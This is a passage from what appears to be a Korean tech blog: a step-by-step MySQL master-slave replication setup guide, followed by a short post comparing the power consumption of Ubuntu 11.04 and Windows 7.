rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-5.rpm

2) Check Available MySQL versions
yum --enablerepo=remi,remi-test list mysql mysql-server

3) Install MySQL
yum --enablerepo=remi,remi-test install mysql mysql-server


Master 에서 준비할 일

1) my.cnf 파일에 마스터의 설정 추가
server-id = 고유한상수값
binlog-do-db = 복제할 원본 DB명 A
binlog-do-db = 복제할 원본 DB명 B
binlog-ignore-db = 복제하지않을 원본 DB명 A
binlog-ignore-db = 복제하지않을 원본 DB명 B
log-bin = Binlog 파일명

예)
server-id = 1
binlog-do-db = testdb
log-bin=mysql-master-bin

2) 슬레이브에서 Replication을 위해 접속할 유저를 생성하고 권한부여
CREATE USER '사용자아이디'@'접속을 허용할 호스트주소' IDENTIFIED BY '사용자비밀번호';
GRANT REPLICATION SLAVE ON *.* TO '사용자아이디'@'접속을 허용할 호스트주소';

예)
mysql> CREATE USER 'repl_user'@'%' IDENTIFIED BY 'abc1234';
mysql> grant replication slave on *.* to 'repl_user'@'%' identified by 'abc1234';


3) 슬레이브에 적용할 데이터베이스의 스냅샵 덤프파일 준비
mysqldump -u root -p db명 > 파일명.sql

예)
mysqldump -u root -p testdb > testdb.sql


Slave 에서 준비할 일

1) my.cnf 파일에 슬레이브의 설정 추가
server-id = 고유한상수값
relay-log = Relay Binlog 파일명

예)
server-id = 2
relay-log = slave-relay-bin

2) master에서 덤프한 파일을 임포트
마스터에서 미리 덤프한 파일을 슬레이브로 복사하고, 그 파일을 이용하여 슬레이브의 MySQL DB에 임포트합니다.
mysql -u root -p db명 < 파일명.sql

예)
mysql -u root -p testdb < testdb.sql

3) 마스터에 대한 설정
MySQL 콘솔창에서 마스터의 호스트주소, 사용자명, 비밀번호, Binlog 파일명, Position 등을 아래와 같이 설정합니다.
(이때 사용하는 Binlog 파일명과 log position의 값은 마스터의 MySQL을 재시작하고, show master status 명령으로 확인합니다.)


mysql> CHANGE MASTER TO
    ->     MASTER_HOST='master_host_name',
    ->     MASTER_USER='replication_user_name',
    ->     MASTER_PASSWORD='replication_password',
    ->     MASTER_LOG_FILE='recorded_log_file_name',
    ->     MASTER_LOG_POS=recorded_log_position;

예)
mysql> change master to
    ->     master_host='192.168.10.10',
    ->     master_user='repl_user',
    ->     master_password='abc1234',
    ->     master_log_file='mysql-master-bin.000004',
    ->     master_log_pos=640;


결과 확인

이제 모든 설정을 마쳤으니, 마스터와 슬레이브의 MySQL 서버를 재구동 해주시고. 정상적으로 작동하는지 확인을 위하여 아래의 방법을 사용합니다.

1) 마스터의 상태확인을 위해서 아래의 명령을 이용합니다.
show master status;


2) 슬레이브의 상태확인을 위해서 아래의 명령을 이용합니다.
show slave status\G


모니터링

MySQL Replication을 구성하고 난 후, 정상작동여부를 모니터링하여 마스터와 슬레이브의 내용이 다른 경우 메일로 통보받는 것이 가능합니다. 아래 링크의 SW는 마스터의 Binlog와 Position을 가져와서 슬레이브의 상태와 비교하고 같지않은 경우에 메일로 통보하는 로직으로 구현된 SW입니다.

http://forge.mysql.com/tools/tool.php?id=6
http://datacharmer.blogspot.com/2011/04/refactored-again-poor-mans-mysql.html



고급활용

MySQL의 5.x대에 들어오면서 Replication은 row-based, semi-synch, delayed, Circular,  Master-Master Replication, SSL Turnnel, Proxy 등의 다양한 고급활용이 가능합니다. 고급활용에 대한 상세한 내용은 이번 글에서 다루지 않으니, 아래에 제시한 참고자료의 링크를 이용하시기 바랍니다.


참고자료





녹색성장이 국가에서 추진하는 정책이다 보니, 최근 탄소배출량을 줄이기 위한 에너지 절감에 대한 이야기가 자주 거론 됩니다. 많은 기업들이 에너지 절약에 주목하고 있는 것이 대세이고, 그 일환으로 마이크로소프트에서는 Windows 7 의 전원관리 기술에 대한 보도자료(http://www.microsoft.com/korea/events/2011/powersave/)를 통해 낮은 전력소비량을 이야기 하고 있습니다. 요약하면 Windows XP 보다는 Windows 7 을 사용하는 것이 에너지 절감에 유리하다는 내용이죠.

Source : http://www.microsoft.com/korea/events/2011/powersave/


저도 최근 업무상 미팅중에  오픈소스SW의 탄소배출량 절감효과 연구에 대한 의견을 나눈적이 있었습니다. 내친김에 자료를 좀 찾아보았는데, Ubuntu 와 Windows 7 을 비교한 자료(2011년6월29일 발표)가 있어서 공유합니다.

Surprising Power Consumption Of Ubuntu 11.04 vs. Windows 7
- Source : http://www.phoronix.com/scan.php?page=article&item=windows_ubuntu_pow&num=9

- 게임을 하는 동안은 우분투가 약간 높은 전력소모


- 부팅하는 동안은 윈도우7 이 약간 높은 전력소모


- HD 비디오를 재생하는 순간에는 우분투가 더 높은 전력소모

- 가벼운 데스크탑의 사용에서는 두 운영체제가 비슷비슷


내용을 요약하면, 마이크로소프트에서 이야기하는 자료를 근거로 보면 이전의 윈도우보다 Windows 7 이 에너지 절감에 도움이 되고, Ubuntu 11.04 vs. Windows 7 은 일장 일단이 있는 비슷비슷한 상태라는 이야기네요.

향후 오픈소스SW의 탄소배출량 절감에 대한 좀 더 심도있는 연구를 수행해서 현재의 운영체제 단위의 비교가 아니라 업무 도메인별로 오픈소스SW 스택 단위를 비교한다면 오픈소스SW에 대한 신뢰성을 제고할 수 있는 자료로 쓰일수 있겠습니다.



참고자료
- Ubuntu 9.04 vs Windows 7 Energy consumption test
http://blog.o-lab.se/2009/09/ubuntu-9-04-vs-windows-7-energy-consumption-test/

- Linux vs. Windows Power Usage
http://www.phoronix.com/scan.php?page=article&item=880&num=1

- Surprising Power Consumption Of Ubuntu 11.04 vs. Windows 7
http://www.phoronix.com/scan.php?page=article&item=windows_ubuntu_pow&num=9


+ Recent posts